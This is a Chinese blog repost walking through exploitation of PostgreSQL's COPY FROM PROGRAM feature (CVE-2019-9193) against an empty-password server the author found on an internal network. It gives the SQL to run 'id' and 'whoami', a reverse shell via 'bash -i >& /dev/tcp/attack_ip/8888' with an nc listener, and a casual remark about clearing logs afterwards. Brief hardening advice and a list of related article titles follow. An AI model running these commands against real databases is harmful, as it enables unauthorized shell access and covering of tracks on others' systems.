[转帖]PostgreSQL任意命令执行漏洞利用(CVE-2019-9193)
https://zhuanlan.zhihu.com/p/143443516
最近没事曰曰内网,偶然发现了一个使用空密码的pg(是的,连爆破都省了)。用navicat连上去看了下几个库都是一些业务测试数据,没什么好收集;不死心,google了一下发现有个比较新的CVE好像可以操作一下~
漏洞概述
最近,安全研究人员披露了PostgreSQL实例代码执行漏洞(CVE-2019-9193)的漏洞细节。具有数据库 服务器 文件读取权限的攻击者可以利用此漏洞执行任意系统命令。
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM
功能,允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令。
受影响的版本(貌似更新版本无解)
PostgreSQL> = 9.3
漏洞利用
pg数据库连接
# 连接postgressql,虽然是内网ip但还是打一下码吧
psql -U postgres -h 172.xx.xxx.xx
开始攻击(直接套用网上POC)
# 删除并创建用于保存系统命令执行结果的表
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';
# 查看结果
SELECT * FROM cmd_exec;
我的 ,还是个root用户,,都不用提权了(这安全意识阿。。。)
Getshell
虽然都可以执行系统命令了,拿不拿shell无所谓,但拿了还是要方便一些;
# attack机器上开启监听
nc -lvnp 8888
# 利用pg执行远程连接命令
COPY cmd_exec FROM PROGRAM 'bash -i >& /dev/tcp/attack_ip/8888 0>&1';
attack机器已经返回shell连接了~
记录一下,顺便清除记录收工了。
解决方案建议
1、pg_read_server_files,pg_write_server_files和pg_execute_server_program角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑。
2、使用强密码!!!
3、进行网络隔离,只允许需要的IP连接;
[转帖]PostgreSQL任意命令执行漏洞利用(CVE-2019-9193)的更多相关文章
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用
ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.* exploit code execution and command ...
- Couchdb 任意命令执行漏洞(CVE-2017-12636)
影响版本:小于 1.7.0 以及 小于 2.1.1 该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户 依次执行如下请求即可触发任意命令执 ...
- wordpress<=4.6版本任意命令执行漏洞
漏洞简述 当WordPress 使用 PHPMailer 组件向用户发送邮件.攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数).$run(系统调用函数) ...
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...
- ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC
thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...
- Elasticsearch Groovy任意命令执行漏洞EXP
测试url:http://190.196.67.252:9200/_search?pretty http://191.234.18.14:9200///_search?pretty POST提交 {“ ...
- WordPress4.6任意命令执行漏洞
前言 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也算是一个内容管理系统(CMS) 环境搭建 docker环 ...
- fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞检测 区分 Fastjson 和 Jackson {"name":"S","age":21} 和 {"name":& ...
- Wordpress 4.6 任意命令执行漏洞(PwnScriptum)
漏洞存在后台登录地方的找回密码页面:http://192.168.49.2:8080/wp-login.php?action=lostpassword 抓包进行修改包 输入一个存在的用户,然后点击获取 ...
随机推荐
- Java 新技术:虚拟线程使用指南(二)
虚拟线程是在 Java 21 版本中实现的一种轻量级线程.它由 JVM 进行创建以及管理.虚拟线程和传统线程(我们称之为平台线程)之间的主要区别在于,我们可以轻松地在一个 Java 程序中运行大量.甚 ...
- android Handler应用
android在运行时改变ui需要在ui线程中修改才行,不然就会报错或者无法启动应用. 我们怎么可以做事不管呢? 既然不能在ui线程外的地方运行修改ui的代码,我们可以用Handler解决这个问题, ...
- ubuntu 之 lftp 上传 和下载
1. 安装 sudo apt-get install lftp 2. 简单教程 2.0 声明:上传或下载文件 用get 或 mget,这种方式 不包含文件夹本身,如果需要连文件夹一起上传或下载则需要使 ...
- CUDA C编程权威指南:1.2-CUDA基础知识点梳理
主要整理了N多年前(2013年)学习CUDA的时候开始总结的知识点,好长时间不写CUDA代码了,现在LLM推理需要重新学习CUDA编程,看来出来混迟早要还的. 1.闭扫描和开扫描 对于一个二元 ...
- Llama2-Chinese项目:5-推理加速
随着大模型参数规模的不断增长,在有限的算力资源下,提升模型的推理速度逐渐变为一个重要的研究方向.常用的推理加速框架包含lmdeploy.FasterTransformer和vLLM等. 一.lmd ...
- STM32CubeMX教程14 ADC - 多通道DMA转换
1.准备材料 开发板(正点原子stm32f407探索者开发板V2.4) ST-LINK/V2驱动 STM32CubeMX软件(Version 6.10.0) keil µVision5 IDE(MDK ...
- 数仓在线运维:如何进行在线增删CN?
摘要:集群运行过程中,根据集群的综合负载和业务接入情况进行分析:增加CN可以适当降低CPU消耗,增大接入连接数,分散CN节点业务压力,根据实际情况来识别是否要增加CN,如果是提升集群容量和扩展比能力, ...
- 探究Python源码,终于弄懂了字符串驻留技术
摘要:在本文中,我们将深入研究 Python 的内部实现,并了解 Python 如何使用一种名为字符串驻留(String Interning)的技术,实现解释器的高性能. 每种编程语言为了表现出色,并 ...
- 大数据 - ODS&DWD&DIM-SQL分享
大数据 ODS&DWD&DIM-SQL分享 需求 思路一:等差数列 断2天.3天,嵌套太多 1.1 开窗,按照 id 分组,同时按照 dt 排序,求 Rank -- linux 中空格 ...
- 【开源项目推荐】——纯中文本地GPT知识库搭建项目.assets
大家好,我是独孤风. 又到了本周的开源项目推荐.近一年多的时间,人工智能迎来了大爆发.GPT相关的大模型的发展让很多领域都发生了巨大的变化. 但是虽然GPT的自然语言识别功能异常的强大,但回答给我们的 ...